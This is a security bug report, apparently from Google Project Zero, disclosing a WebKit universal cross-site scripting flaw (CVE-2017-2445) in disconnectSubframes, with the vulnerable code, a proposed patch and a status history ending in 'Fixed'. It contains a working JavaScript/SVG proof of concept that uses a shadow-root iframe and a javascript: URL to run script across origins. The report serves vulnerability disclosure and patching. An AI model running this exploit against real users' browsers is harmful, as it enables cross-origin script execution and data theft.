New issue
Advanced search Search tips
Starred by 3 users
Status: Fixed
Owner:
Closed: Mar 2017
Cc:


Show other hotlists

Hotlists containing this issue:
Hotlist-1
Hotlist-2


Sign in to add a comment
Apple WebKit: UXSS via disconnectSubframes
Project Member Reported by lokihardt@google.com, Jan 9 2017 Back to list
When an element is removed from a document, the function |disconnectSubframes| is called to detach its subframes(iframe tag, object tag, etc.).

Here is a snippet of |disconnectSubframes|.

void disconnectSubframes(ContainerNode& root, SubframeDisconnectPolicy policy)
{
    ...
    Vector<Ref<HTMLFrameOwnerElement>> frameOwners;

    if (policy == RootAndDescendants) {
        if (is<HTMLFrameOwnerElement>(root))
            frameOwners.append(downcast<HTMLFrameOwnerElement>(root));
    }

    collectFrameOwners(frameOwners, root);

    // Must disable frame loading in the subtree so an unload handler cannot
    // insert more frames and create loaded frames in detached subtrees.
    SubframeLoadingDisabler disabler(root);

    bool isFirst = true;
    for (auto& owner : frameOwners) {
        // Don't need to traverse up the tree for the first owner since no
        // script could have moved it.
        if (isFirst || root.containsIncludingShadowDOM(&owner.get()))
            owner.get().disconnectContentFrame();
        isFirst = false;
    }
}

The bug is that it doesn't consider |root|'s shadowroot. So any subframes in the shadowroot will be never detached.

It should be like:

    ...
    collectFrameOwners(frameOwners, root);

    if (is<Element>(root)) {
        Element& element = downcast<Element>(root);
        if (ShadowRoot* shadowRoot = element.shadowRoot())
            collectFrameOwners(frameOwners, *shadowRoot);
    }
    ...


PoC:
var d = document.body.appendChild(document.createElement("div"));
var s = d.attachShadow({mode: "open"});

var f = s.appendChild(document.createElement("iframe"));

f.onload = () => {
    f.onload = null;

    f.src = "javascript:alert(location)";

    var xml = `
<svg xmlns="http://www.w3.org/2000/svg">
<script>
document.documentElement.appendChild(parent.d);

</sc` + `ript>
<element a="1" a="2" />
</svg>`;

    var v = document.body.appendChild(document.createElement("iframe"));
    v.src = URL.createObjectURL(new Blob([xml], {type: "text/xml"}));
};

f.src = "https://abc.xyz/";

Tested on Safari 10.0.2(12602.3.12.0.1)


This bug is subject to a 90 day disclosure deadline. If 90 days elapse
without a broadly available patch, then the bug report will automatically
become visible to the public.

 
Project Member Comment 1 by lokihardt@google.com, Jan 9 2017
Project Member Comment 2 by lokihardt@google.com, Feb 10 2017
I didn’t notice that the method shadowRoot is declared in Node.h. So the following would better make sense.

    collectFrameOwners(frameOwners, root);

    if (ShadowRoot* shadowRoot = root.shadowRoot())
        collectFrameOwners(frameOwners, *shadowRoot);

Project Member Comment 3 by lokihardt@google.com, Mar 27 2017
Labels: CVE-2017-2445
Status: Fixed
Project Member Comment 4 by lokihardt@google.com, Apr 3 2017
Labels: -Restrict-View-Commit
Sign in to add a comment